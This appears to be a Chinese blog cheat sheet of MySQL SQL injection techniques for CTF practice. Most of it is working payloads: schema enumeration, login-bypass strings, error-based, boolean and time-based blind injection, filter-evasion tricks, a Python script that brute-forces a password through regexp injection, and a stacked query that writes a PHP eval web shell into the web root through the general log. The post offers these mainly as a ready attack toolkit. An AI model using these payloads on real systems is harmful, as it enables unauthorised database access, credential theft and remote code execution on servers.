Mysql – sql注入

Mysql - sql注入

1 information_schema常规查询流程

information_schema中的三个特殊表:

​ 一个是schemata,一个是tables(有21列),一个是columns,

​ schema纪录数据库中所有的数据库名

​ tables 纪录数据库中所有的表,column纪录数据库中所有的表和列;

爆库:

select group_concat(schema_name) from information_schema.schemata

爆表

select group_concat(table_name) from information_schema.tables where table_schema = '某某'
select group_concat(table_name) from information_schema.tables where table_schema = database()              #有时候会这样

爆字段

select group_concat(column_name) from information_schema.columns where table_name = '某某'

爆值

select group_concat(*) from 表 (where 字段=某某)
select group_concat(,xxx,xxx) from xxx.xxx
select group_concat(concat_ws(0x7e,xxx,xxx)) from xxx.xxx

ctf

最后一个爆值一般是

select group_concat(username) from users
select group_concat(password) from users

group_concat可以用concat_ws替换

数据库名可以用十六进制替换:0x十六进制的数据库名

2 闭合字符

  • 引号类
'
"
)
')
")
数字型,考虑使用注释符
  • 注释符
#
--+
/**/
  • %00
因为#,-都被过滤,于是采用%00进行截断,注意如果在输入框中直接输入%00,那么就会被编码成%2500,然后计算机在解码成%00,会黑名单过滤
在bp中直接输入%00,防止二次编码可以达到截断的作用

如果写python脚本的话,由于要防止二次编码,%00要写作parse.unquote('%00')

比如说脚本

import requests
import time
from urllib import parse
import string

url="http://53329c83-815a-48d8-9191-6c3270f58121.node4.buuoj.cn:81/index.php"

passwd=''

proxies = { "http": None, "https": None}        #3.7以后要添加代理池
strings='_'+string.ascii_lowercase+string.digits

for pos in range(1,10000):
    for asci in strings:
        data={
    "username":"\\",
    "passwd":'||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+asci,parse.unquote('%00'))
}

        resp = requests.post(url=url,data=data,proxies=proxies);

        #print(resp.text)

        if 'welcome' in resp.text:
            print('true')
            passwd = passwd + asci
            print("[*]passwd : "+passwd)
            break
  • 斜杠

注释符和引号被过滤尝试斜杠,斜杠可能可以转义掉单引号

\

对应的解决方案呢就是做转义喽,同理还有跨域攻击

  • 编码类

以md5为例:

如果是md5后的password,源码如下

select * from `admin` where password='".md5($pass,true)."'

payload如下

ffifdyop        //md5(’ffifdyop',true) === $a; $a="'or'1";

3 万能钥匙-验证逻辑

3.1 没有回环验证

demo:

后端是直接没有回环验证的情况,且存在sql注入时,万能钥匙直接秒

$res = mysql_querry("select id from users where username='"+$_POST['username']+"' and password = '"+$_POST['password']+"';")
if($res){
    print("success! this is your flag{xxx}")
}

payload

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
' or '1 

另一种类型是(利用联合查询产生虚拟数据欺骗php脚本)
admin=' union select 1,2,3;#&passwd=3

如果是md5后的password,源码如下

select * from `admin` where password='".md5($pass,true)."'

payload如下

ffifdyop        //md5(’ffifdyop',true) === $a; $a="'or'1";

3.2 有回环验证

3.2.1 利用REPLACE

'UNION SELECT REPLACE(REPLACE('"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#') AS pw#

3.2.2 利用线程表

1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#

3.3 利用注册

可以用约束攻击

看下面第4点

4 约束攻击

条件

有表里有控制长度

原理

INSERT语句:截取前20个字符

SELECT语句:输入什么就是什么

所以insert一个”admin “

那么select的时候就可以绕过”此用户已注册“,但是后续insert却只截取admin(空格也被省略了),

demo

<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
    die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
    die('账号已注册');
}else{
    $sql2="insert into users values('$username','$password');";
    mysqli_query($conn,$sql2);
    die('注册成功');
}
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
    die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username' and password='$password';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
    $_SESSION['username']=$username;
}else{
    echo 'fail';
}
create table users(
  username varchar(20),
    password varchar(20)
)

5 联合查询

特点

将查询的结果显示出来

利用

  • 判断注入点闭合情况
  • 通过order by查列数
  • 通过union进行联合查询
' union select 1,2,database()--

6 报错注入

6.1 updatexml和extractvalue

适用版本:5.1.5+

updatexml

select xxx or updatexml(1,concat(0x7e,payload,0x7e),1)

extractvalue

select 1,2,extractvalue(1,concat(0x7e,payload,0x7e))

原理:

updatexml原理:(Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,

Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回

值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内

容)sql报错注入:extractvalue、updatexml报错原理-阿里云开发者社区 (aliyun.com)

extractvalue原理:Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回

值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容)

6.2 exp、pow、溢出

适用版本:5.5.5~5.5.49

select exp(~(select * from(select user())a));
select pow(2,~(select * from(select user())a));
select 1+(~(select * from(select user())a));

6.3 floor双注入查询

rand+group+count

利用:

select count(*),concat(user(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x;

原理分析见:rand+group+count报错注入分析:rand+group+count报错注入分析 (wolai.com)

6.4 不存在函数

通过不存在函数报错得到当前数据库名

select a();
ERROR 1305 (42000): FUNCTION test.a does not exist

6.5 name_const

查询数据库版本

select * from(select name_const(version(),1),name_const(version(),1))a;

6.6 uuid

适用版本:8.0.x

利用:

select uuid_to_bin((database()));
select bin_to_uuid((database()));

6.7 join using

查询字段名

select * from(select * from tb1 a join(select * from tb1)b)c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1))c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1,cl2))c;

6.8 gtid

仅一列,可查user()、version()、database()

select gtid_subset(user(),1);
select gtid_subtract(user(),1);

6.9 polygon

前提:知道字段名(一般用id)

报当前查询语句的库、表、字段

mysql> select flag from ctf where polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`id`' value found during parsing
mysql> select flag from ctf where polygon(flag);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`flag`' value found during parsing

6.10 cot

前提:知道字段名(一般用id)

报当前查询语句的库、表、字段

mysql> select username from users where cot(username);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(`ctf`.`users`.`username`)'
mysql> select username from users where cot(concat('a',id));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(concat('a',`ctf`.`users`.`id`))'

6.11 其他报错函数

适用版本:低于mysql(5.6.22)

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

7 堆叠注入

原理

可执行多条sql语句,例如

$mysqli->multi_query($sql);

7.1 写文件

set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select "<?php eval($_POST['jan']);?>";

7.2 查询

查表名:show tables

查字段:show columns

7.3 handler+show

绕过select过滤

handler users open as hd;#指定数据表,返回句柄
handler hd read first;#读取指定表首行数据
handler hd read next;#读取下一行
handler hd close;#关闭句柄

如果想看数据库、表、字段,如下payload:

show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;

7.4 预处理/预编译

原理:当你进行如下预编译语句时,mysql是可以执行的;(那么我们就做到了类似于eval这样强制把字符串执行的作用)

prepare st from concat('s','elect',' * from table_name');
execute st;

一种比较长的写法

set @a ='payload';    设置(声明)一个变量并赋予它一个值;
prepare b from @a;  设置一个命令 并把前面的变量赋给它;
execute b;          执行这个命令

例子

set @hmt = concat('sel','ect flag from `1919810931114514`; ') ;prepare a from @hmt;execute a;

8 布尔盲注

特点

一般出现回显因为正误而不同的情况即可考虑布尔盲注

  • 回显不同(内容、长度)
  • HTTP响应状态码不同
  • HTTP响应头变化(重定向、设置cookie)
  • 基于错误的布尔注入

注意点

  • 有时候报错注入就足够了

  • 如果Timeout了,大概率是因为访问频率过高被ban了

payload格式

本质就是某个查询语句的回显结果是1还是0的区别,但其嵌入到不同的语句会看上去有不同的格式

  • if(ascii(substr(" +payload+",{0},1))={1},1,2) #substr式
  • admin'or/**/password>'1'                      #比较式(用于                                     过滤太多的情况,暂无脚本)
    1^(password>'1')                              #比较式的一个变种
  • select 1+~0;                              #bigint溢出式,1为布尔点
  • cot(1)                                      #1为布尔点 余切
    
    mysql> select cot(1);
    +--------------------+
    | cot(1)             |
    +--------------------+
    | 0.6420926159343306 |
    +--------------------+
    1 row in set (0.00 sec)
    
    mysql> select cot(0);
    ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
    
  • exp:e的指数

select exp(999*1);--ERROR 1690 (22003): DOUBLE value is out of range in 'exp((999 * 1))'
select exp(999*0);--1
  • pow:乘方
select pow(1,9999);

9 时间盲注

9.1 sleep

sleep(3)

9.2 benchmark

作用:

将表达式执行指定次数

语法:

benchmark(count,expr)

利用:

在执行次数比较多时,可以代替sleep函数

benchmark(1000000000,0)-- 三秒左右
benchmark(10000000,md5(0))-- 一秒左右

9.3 笛卡尔积

select count(*) from information_schema.columns a,information_schema.columns b;

9.4 正则匹配

select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');

9.5 get_lock(前置条件多), 正则

10 宽字节注入

10.1 前提

php和数据库编码字符集不同+使用了addslashes

而且,只有这个addslashes和预编译的情况可以把admin'这个东西插入到数据库中,但是预编译肯定不会作为sql题来出,所以必然是addslashes,考察宽字节注入

10.2 payload

payload (这个payload的结构在恶意代码中相当于报错注入闭合用的单引号、双引号)

%df%27

11 二次注入

原理:

1.查询时单引号被转义,但从数据库中取出的时候没有被转义(都是指php代码)

2.一个有问题的的数据(payload)被存入数据库中,之后的sql语句将该数据取出,然后再使用该数据去拼接sql语句,之后执行这个被拼接的sql语句!总结为一句话就是:sql语句拼接了有问题的数据然后执行。

demo看sql注入千层套路和jacko笔记

12 无列名注入

12.1 联合查询+别名

当column被过滤时,无法通过特殊库来获取列名,无法get flag

此时要先获取表的列数

  • 用order by判断
  • 直接union select判断

payload

select b from (select 1,2,3 as B union select * from user)a limit 1,1;

用 limit 1,1而不是用 limit 0,1,因为第 0行是列名(1/2/3)

原理:

利用union select创造的虚拟表格(一个两种数据拼在一起的表格)!!

image-20210819202045735

image-20210819202245870

12.2 比较法

select (select 'admin','~','~')<(select * from users where username='admin' limit 1);

13 table注入

table的语法是

table 表名
mysql> table Persons;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address      | City    |
+------+----------+-----------+--------------+---------+
|    1 | Gates    | Bill      | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
mysql> table Persons limit 1;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address      | City    |
+------+----------+-----------+--------------+---------+
|    1 | Gates    | Bill      | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)

Table注入则是输出上述表后,自行创建另一个表与之比较(注意必须两边都用limit 1),

mysql> select 0 or (2,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (2,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                    0 |
+------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select 0 or (1,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (1,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                 NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select 0 or (0,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (0,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
|                                                    1 |
+------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select 0 or (-1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------------+
| 0 or (-1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------------+
|                                                     1 |
+-------------------------------------------------------+
1 row in set (0.00 sec)

当回显null的时候刚好是1,这样可以知道Persons第一列的值是1

要是嫌麻烦,直接外面加cot()扁平化处理(加一些用于条件判断的,mysql上多试试就有)

mysql> select cot((2,null,null,null,null)<(table Persons limit 1));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(((2,NULL,NULL,NULL,NULL) < (select `my_dbThai`.`Persons`.`Id_P`,`my_dbThai`.`Persons`.`LastName`,`my_dbThai`.`Persons`.`FirstName`,`my_dbThai`.`Persons`.`Address`,`my_dbThai`.`Persons`.`City` from `my_dbThai`.`Persons` limit 1)))'
mysql> select cot((1,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((1,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
|                                                 NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select cot((0,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((0,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
|                                   0.6420926159343306 |
+------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select cot((null,null,null,null,null)<(table Persons limit 1));
+---------------------------------------------------------+
| cot((null,null,null,null,null)<(table Persons limit 1)) |
+---------------------------------------------------------+
|                                                    NULL |
+---------------------------------------------------------+
1 row in set (0.00 sec)

1以后都不报错,这就是布尔点了

当不想注入其他列时(控制变量),可以都设置为null

mysql> select (null,null,null,null,null)<(table Persons limit 1);
+----------------------------------------------------+
| (null,null,null,null,null)<(table Persons limit 1) |
+----------------------------------------------------+
|                                               NULL |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (0,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (0,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
|                                            NULL |
+-------------------------------------------------+
1 row in set (0.00 sec)

14 比较大小

14.1 比较符与运算符

  • >

  • <

  • >=

  • <=

  • =:等于,如果两个操作数均为NULL,则返回NULL

  • <=>:等于,但是如果两个操作数均为NULL,则返回1而不是NULL,如果一个操作数为NULL则返回0而不是NULL

  • !=:不等于

  • <>:不等于

  • ^ (异或,如果相同则回显0,不同回显1,常用于盲注,语法: num^num)

  • 等号:绕注释符

select '1'=(1)='1';
  • 减法:绕注释符
select '1'-1-'';
  • and、or+减法:
select 1 and ascii('a')-97;
select 0 or ascii('a')-97;

14.2 strcmp

select strcmp('a','b');-- -1
select strcmp('b','b');-- 0
select strcmp('c','b');-- 1
select strcmp('ab','b');-- -1

代替等号

where !strcmp(table_schema,'ctf');

14.3 between and

select 2 between 1 and 3;-- 1
select 'b' between 'a' and 'c';

代替等号

where table_schema  between 'ctf' and 'ctf'

14.4 in

语法:

WHERE column_name IN (value1,value2,...)

利用:

可用于代替等号

where table_schema in ('ctf')
where id in(1,2)

14.5 like

当没有%时,like可代替等号

select 'abc' like 'abc';

14.6 regexp、rlike

代替等号

select 'abc' regexp '^abc$';
select 'abc' rlike '^abc$';

14.7 if,case比较

case:

select case 'a' when 'a' then 1 else 0 end;
select case when (1<2) then 1 else 0 end;

if:

select 1^(ascii('a')-96)^1;

14.8 instr

select instr('jacko','a');//2

14.9 行比较

select (2,1)>(1,2);-- 1
select (1,1)!=(1,2);-- 1

14.10 order by比较

select 's' union select 'test' order by 1 limit 1;

14.11 字符串与整型

字符串和整型比较时,会将字符串转成整型再比较

  • a=>0
  • '12a'=>12

14.12 字符串大小写

大小顺序:

  1. A-Z或a-z(不敏感)
  2. 0-9
  3. 特殊字符按ascii码顺序排序

大小写都不敏感:无论是关键字还是值,但在linux的mysql中,库名、表名都是敏感的

select 'a'='A';-- 1
select strcmp('test','TEST');-- 0

大小写敏感:

14.12.1 binary

方法一:在前面加上binary使得大小写敏感

select 'abc'='ABC';--1
select binary 'abc'='ABC';--0
binary('字符串')
(当然也可以binary(0x某某))

14.12.2 COLLATE'utf8mb4_bin'

方法二:

前提:数据库以utf8mb4_bin进行编码

后面接上 COLLATE'utf8mb4_bin' 或者COLLATE utf8mb4_bin

14.12.3 编码类

方法三:

  • bin();

  • hex();

  • md5();

15 字符串截取

15.1 left, right

语法:

left(str,len)
right(str,len)

left先reverse,再转ascii

15.2 substr, substring,mid

语法:pos从1开始

substr(str,pos,len)
substring(str,pos,len)
mid(str,pos,[len])

绕过:

绕过逗号

select substr('test',1,2);
select substr('test' from 1 for 2);
select substring('test',1,2);
select substring('test' from 1 for 2);

15.3 trim

select trim([both/leading/trailing] 'x' from 'xxx');
select trim(leading 'a' from 'abc');--bc
select trim(leading 'b' from 'abc');--abc

15.4 insert

select insert((insert('abcdef',1,0,'')),2,999,'');-- a
select insert((insert('abcdef',1,2,'')),2,999,'');-- c

16 编码

  • ascii
select ascii('abc');-- 97
  • ord
select ord('abc');-- 97
  • bin();

  • hex();

传入字符或十进制,返回十六进制

select hex('a');-- 61
select hex(97);-- 61
  • md5();

编码转字符:

  • unhex

  • char

17 逗号被过滤

一般用到逗号都是联合查询&报错注入,或者时间盲注

时间盲注用case when的方法:

  • case when

if 被过滤,可以用case when (时间盲注等情况)

select -1 or case when 1=1 then 1 else 0 end;

image-20210819112352949

  • substr 逗号被过滤,可以用substr(xxx from 1 for 1)

18 过滤空格

/**/        (首选)  py脚本可以用replace函数,参考jacko脚本

%a0

%0a

%0d

%09

tab
  • unicode编码(编码绕过)

f689d61f777d7ffd32a6872d4ab57c3f.png

  • 两个空格

  • tab

  • 括号(建议现在本地把payload测试完后再怼上去,先从小的往外面打括号)

    例子

    爆库

    select(group_concat(schema_name))from(information_schema.schemata);

    爆表

select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'test'

爆字段

select(group_concat(column_name))from(information_schema.columns)where(table_name='persons');

19 过滤单引号双引号

凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过

比如: hex绕过

select 0x74657374='test';-- 1

20 关键词绕过

  • 大小写

针对正则没加/i参数的情形

  • 双写

  • 编码

凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过

比如: hex绕过

select 0x74657374='test';-- 1
  • 相似函数替换

if 被过滤,使用case when

limit 可以用offset绕过,limit 0,1等于limit 0 offset 1

20.x select 被过滤

table

table :只能查询表,不能按列查询

table user;     #相当于select * from user 
table user order by username limit 1 offset 0;

table盲注原理示例:(元组的比较)

image-20210820122021224

table盲注information_schema.tables示例:

"admin' or ("def","{0}",1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)=(table information_schema.tables order by CREATE_TIME desc limit 1,1)".format({i})

该表查阅官方文档有21列,1表示占位(回显True),此盲注可以把数据库名(table_schema)表名(table_name)一并注入出。

注意区分大小写,如使用hex,binary等(参考字符串大小写)

handler + show

如果想看表的内容,可以用handler的方式绕过,[参考]((9条消息) [GYCTF2020]Blacklist 1_无独有偶o的博客-CSDN博客).payload如下

handler table_name open
handler table_name read first;
handler table_name read last;
handler table_name close;

如果想看数据库、表、字段,如下payload:

show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;

21猜测表

可以用exists函数

select flag from flag

select username,password from users

22特殊库

22.1 information_schema库

字段 说明
information_schema.schemata schema_name 库名
information_schema.tables table_schema、table_name 库名、表名
information_schema.columns table_schema、table_name、column_name 库名、表名、字段名

22.2 sys库

mysql5.7增加sys系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来

示例:

select table_schema from sys.schema_table_statistics group by table_schema;
字段 说明
sys.innodb_buffer_stats_by_schema object_schema 库名
sys.innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.io_global_by_file_by_bytes file 路径中包含表名
sys.io_global_by_file_by_latency file 路径中包含表名
sys.processlist current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.session current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.schema_auto_increment_columns table_schema、table_name、column_name 库名、表名、字段名
sys.schema_index_statistics table_schema、table_name 库名、表名
sys.schema_object_overview db 库名
sys.schema_table_statistics table_schema、table_name 库名、表名
sys.schema_table_statistics_with_buffer table_schema、table_name 库名、表名
sys.schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.statement_analysis或者sys.x$statement_analysis query、db 请求访问的数据库名、数据库最近执行的请求
sys.version mysql_version mysql版本信息
sys.x$innodb_buffer_stats_by_schema object_schema 库名
sys.x$innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.x$io_global_by_file_by_bytes file 路径中包含表名
sys.x$schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.x$schema_flattened_keys table_schema、table_name、index_columns 库名、表名、字段名
sys.x$ps_schema_table_statistics_io table_schema、table_name 库名、表名

22.3 performance_schema

字段 说明
performance_schema.objects_summary_global_by_type object_schema、object_name 库、表
performance_schema.table_handles object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_index_usage object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_table object_schema、object_name 库、表

22.4 mysql库

字段 说明
mysql.innodb_table_stats database_name、table_name 表名
mysql.innodb_index_stats database_name、table_name

23 搭环境

23.1 搭建sqli-labs:

docker pull acgpiano/sqli-labs

image-20210727204904354

23.2 搭建mysql8

docker run -d --name Mysql8 -e MYSQL_ROOT_PASSWORD=root -p 33306:3306 mysql:8.0.27
docker exec -it xxxxxx sh
mysql -u root -p

23.3 快速建库和表

CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
INSERT INTO Persons VALUES (1,'Gates', 'Bill', 'Xuanwumen 10', 'Beijing');

image-20220919212500458

23.4 mysql运维

  • 重启mysql数据库:systemctl restart mysql
  • 导入数据库
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇